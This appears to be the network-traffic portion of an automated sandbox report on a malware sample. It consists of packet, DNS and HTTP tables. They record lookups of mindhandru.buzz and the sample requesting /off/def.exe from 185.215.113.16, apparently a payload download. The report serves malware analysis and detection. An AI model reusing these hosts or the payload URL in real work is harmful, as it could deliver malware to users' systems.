Dec 27, 2024 09:00:31.370449066 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.370522022 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.370536089 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.370574951 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.371181011 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.371232033 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.371239901 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.371253967 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.371294975 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.371381998 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.371396065 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.371474981 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.372046947 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.372104883 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.372117996 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.372158051 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.372204065 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.372216940 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.372255087 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.372880936 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.372927904 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.372940063 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.372963905 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.372989893 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.373040915 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.373054028 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.373174906 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.373712063 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.373759985 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.373773098 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.373864889 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.373888016 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.373900890 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.373944044 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.374572039 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.374619007 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.374634027 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.374674082 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.374700069 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.374712944 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.374726057 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.374794960 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.375408888 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.375463009 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.375478029 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.375524044 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.375556946 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.375571966 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.375653982 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.376271009 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.376291990 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.376303911 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.376326084 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.376368999 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.376444101 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.376458883 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.376513004 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.377106905 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.377154112 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.377167940 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.377202034 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.377291918 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.377305031 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.377347946 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.377969980 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.378057003 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.378073931 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.378314972 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.378345966 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.378359079 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.378428936 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.378467083 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.378478050 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.378572941 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.379136086 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.379154921 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.379165888 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.379226923 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.379291058 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.379302979 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.379333973 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.379981041 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.380023003 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.380027056 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.380042076 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.380146980 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.380160093 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.380165100 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.380244970 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.380820990 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.380867004 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.380878925 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.380934000 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.380970955 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.380984068 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.381015062 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.381664038 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.381701946 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.381717920 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.381722927 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.381836891 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.381850004 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.381894112 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.382013083 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.382508993 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.382556915 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.382570028 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.382620096 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.382652044 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.382716894 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.382738113 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.383353949 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.383410931 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.383424997 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.383431911 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.383479118 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.383511066 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.383523941 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.383765936 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.384202003 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.384251118 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.384264946 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.384306908 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.384362936 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.384378910 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.384469032 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.385051012 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.385092974 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.385106087 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.385116100 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.385138988 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.385222912 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.385235071 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.385279894 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.385883093 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.385930061 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.385943890 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.385976076 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.386046886 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.386059999 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.386095047 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.386739016 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.386795998 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.386827946 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.387152910 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.387166977 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.387177944 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.387191057 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.387212038 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.387262106 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.387329102 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.387428045 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.387940884 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.387960911 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.387978077 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.388062000 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.388089895 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.388104916 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.388133049 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.388772964 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.388799906 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.388813019 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.388842106 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.388854980 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.388927937 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.388941050 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.388978958 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.389621973 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.389664888 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.389676094 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.389729977 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.389820099 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.389834881 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.389866114 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:31.390444994 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.390522003 CET	80	49760	185.215.113.16	192.168.2.7
Dec 27, 2024 09:00:31.390610933 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:40.462527990 CET	49760	80	192.168.2.7	185.215.113.16
Dec 27, 2024 09:00:40.880501032 CET	49803	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:00:40.880542994 CET	443	49803	142.250.181.68	192.168.2.7
Dec 27, 2024 09:00:40.880932093 CET	49803	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:00:40.880932093 CET	49803	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:00:40.880960941 CET	443	49803	142.250.181.68	192.168.2.7
Dec 27, 2024 09:00:43.058394909 CET	443	49803	142.250.181.68	192.168.2.7
Dec 27, 2024 09:00:43.058671951 CET	49803	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:00:43.058691978 CET	443	49803	142.250.181.68	192.168.2.7
Dec 27, 2024 09:00:43.059572935 CET	443	49803	142.250.181.68	192.168.2.7
Dec 27, 2024 09:00:43.059673071 CET	49803	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:00:43.061438084 CET	49803	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:00:43.061702967 CET	443	49803	142.250.181.68	192.168.2.7
Dec 27, 2024 09:00:43.100965023 CET	49803	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:00:43.100979090 CET	443	49803	142.250.181.68	192.168.2.7
Dec 27, 2024 09:00:43.149421930 CET	49803	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:00:52.760647058 CET	443	49803	142.250.181.68	192.168.2.7
Dec 27, 2024 09:00:52.760731936 CET	443	49803	142.250.181.68	192.168.2.7
Dec 27, 2024 09:00:52.760776043 CET	49803	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:00:52.781646013 CET	49803	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:00:52.781658888 CET	443	49803	142.250.181.68	192.168.2.7
Dec 27, 2024 09:01:40.803958893 CET	50037	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:01:40.804009914 CET	443	50037	142.250.181.68	192.168.2.7
Dec 27, 2024 09:01:40.804116011 CET	50037	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:01:40.804341078 CET	50037	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:01:40.804357052 CET	443	50037	142.250.181.68	192.168.2.7
Dec 27, 2024 09:01:42.600208998 CET	443	50037	142.250.181.68	192.168.2.7
Dec 27, 2024 09:01:42.600508928 CET	50037	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:01:42.600547075 CET	443	50037	142.250.181.68	192.168.2.7
Dec 27, 2024 09:01:42.600893021 CET	443	50037	142.250.181.68	192.168.2.7
Dec 27, 2024 09:01:42.601313114 CET	50037	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:01:42.601373911 CET	443	50037	142.250.181.68	192.168.2.7
Dec 27, 2024 09:01:42.645768881 CET	50037	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:01:52.286990881 CET	443	50037	142.250.181.68	192.168.2.7
Dec 27, 2024 09:01:52.287075996 CET	443	50037	142.250.181.68	192.168.2.7
Dec 27, 2024 09:01:52.287153006 CET	50037	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:01:53.292845011 CET	50037	443	192.168.2.7	142.250.181.68
Dec 27, 2024 09:01:53.292885065 CET	443	50037	142.250.181.68	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:59:58.871005058 CET	58447	53	192.168.2.7	1.1.1.1
Dec 27, 2024 08:59:59.010612011 CET	53	58447	1.1.1.1	192.168.2.7
Dec 27, 2024 09:00:01.662374020 CET	123	123	192.168.2.7	40.81.94.65
Dec 27, 2024 09:00:02.264070988 CET	123	123	40.81.94.65	192.168.2.7
Dec 27, 2024 09:00:37.075905085 CET	53	57776	1.1.1.1	192.168.2.7
Dec 27, 2024 09:00:37.083919048 CET	53	52691	1.1.1.1	192.168.2.7
Dec 27, 2024 09:00:39.976208925 CET	53	62628	1.1.1.1	192.168.2.7
Dec 27, 2024 09:00:40.741295099 CET	54778	53	192.168.2.7	1.1.1.1
Dec 27, 2024 09:00:40.741543055 CET	50786	53	192.168.2.7	1.1.1.1
Dec 27, 2024 09:00:40.878742933 CET	53	54778	1.1.1.1	192.168.2.7
Dec 27, 2024 09:00:40.879069090 CET	53	50786	1.1.1.1	192.168.2.7
Dec 27, 2024 09:00:44.121150970 CET	53297	53	192.168.2.7	1.1.1.1
Dec 27, 2024 09:00:44.121330976 CET	57105	53	192.168.2.7	1.1.1.1
Dec 27, 2024 09:00:52.759751081 CET	50774	53	192.168.2.7	1.1.1.1
Dec 27, 2024 09:00:52.759881020 CET	58241	53	192.168.2.7	1.1.1.1
Dec 27, 2024 09:00:54.930275917 CET	53	61977	1.1.1.1	192.168.2.7
Dec 27, 2024 09:00:55.183438063 CET	138	138	192.168.2.7	192.168.2.255
Dec 27, 2024 09:00:56.735832930 CET	50712	53	192.168.2.7	1.1.1.1
Dec 27, 2024 09:00:56.736011982 CET	51913	53	192.168.2.7	1.1.1.1
Dec 27, 2024 09:00:56.864434958 CET	53	63165	1.1.1.1	192.168.2.7
Dec 27, 2024 09:01:15.787431002 CET	53	57192	1.1.1.1	192.168.2.7
Dec 27, 2024 09:01:36.161178112 CET	53	60401	1.1.1.1	192.168.2.7
Dec 27, 2024 09:01:39.163960934 CET	53	58488	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 27, 2024 09:00:44.571552992 CET	192.168.2.7	1.1.1.1	c2c4	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 08:59:58.871005058 CET	192.168.2.7	1.1.1.1	0x2006	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:00:40.741295099 CET	192.168.2.7	1.1.1.1	0x41f8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:00:40.741543055 CET	192.168.2.7	1.1.1.1	0x1af1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 27, 2024 09:00:44.121150970 CET	192.168.2.7	1.1.1.1	0x6f11	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:00:44.121330976 CET	192.168.2.7	1.1.1.1	0x57fa	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 27, 2024 09:00:52.759751081 CET	192.168.2.7	1.1.1.1	0x2785	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:00:52.759881020 CET	192.168.2.7	1.1.1.1	0x1a26	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 27, 2024 09:00:56.735832930 CET	192.168.2.7	1.1.1.1	0x7119	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:00:56.736011982 CET	192.168.2.7	1.1.1.1	0x1e2d	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 08:59:59.010612011 CET	1.1.1.1	192.168.2.7	0x2006	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:59:59.010612011 CET	1.1.1.1	192.168.2.7	0x2006	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:00:40.878742933 CET	1.1.1.1	192.168.2.7	0x41f8	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:00:40.879069090 CET	1.1.1.1	192.168.2.7	0x1af1	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 27, 2024 09:00:44.260257006 CET	1.1.1.1	192.168.2.7	0x6f11	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:44.260257006 CET	1.1.1.1	192.168.2.7	0x6f11	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:44.260257006 CET	1.1.1.1	192.168.2.7	0x6f11	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:44.260257006 CET	1.1.1.1	192.168.2.7	0x6f11	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:00:44.518419027 CET	1.1.1.1	192.168.2.7	0x63fe	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:44.567975044 CET	1.1.1.1	192.168.2.7	0x57fa	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:44.567975044 CET	1.1.1.1	192.168.2.7	0x57fa	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:44.632318020 CET	1.1.1.1	192.168.2.7	0xdebc	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:44.632318020 CET	1.1.1.1	192.168.2.7	0xdebc	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:44.632318020 CET	1.1.1.1	192.168.2.7	0xdebc	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:00:47.510885954 CET	1.1.1.1	192.168.2.7	0x291c	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:47.510885954 CET	1.1.1.1	192.168.2.7	0x291c	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:47.510885954 CET	1.1.1.1	192.168.2.7	0x291c	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:00:47.511192083 CET	1.1.1.1	192.168.2.7	0xb108	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:52.897181034 CET	1.1.1.1	192.168.2.7	0x1a26	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:52.897181034 CET	1.1.1.1	192.168.2.7	0x1a26	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:52.897367954 CET	1.1.1.1	192.168.2.7	0x2785	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:52.897367954 CET	1.1.1.1	192.168.2.7	0x2785	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:52.897367954 CET	1.1.1.1	192.168.2.7	0x2785	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:52.897367954 CET	1.1.1.1	192.168.2.7	0x2785	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:00:57.111205101 CET	1.1.1.1	192.168.2.7	0x1e2d	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:00:57.138792992 CET	1.1.1.1	192.168.2.7	0x7119	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:01:03.331353903 CET	1.1.1.1	192.168.2.7	0x9a16	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:01:03.356451035 CET	1.1.1.1	192.168.2.7	0xc936	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:01:10.290400028 CET	1.1.1.1	192.168.2.7	0xe380	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 09:01:10.290899038 CET	1.1.1.1	192.168.2.7	0xe726	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49760	185.215.113.16	80	6188	C:\Users\user\Desktop\CAo57G5Cio.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:00:23.703332901 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
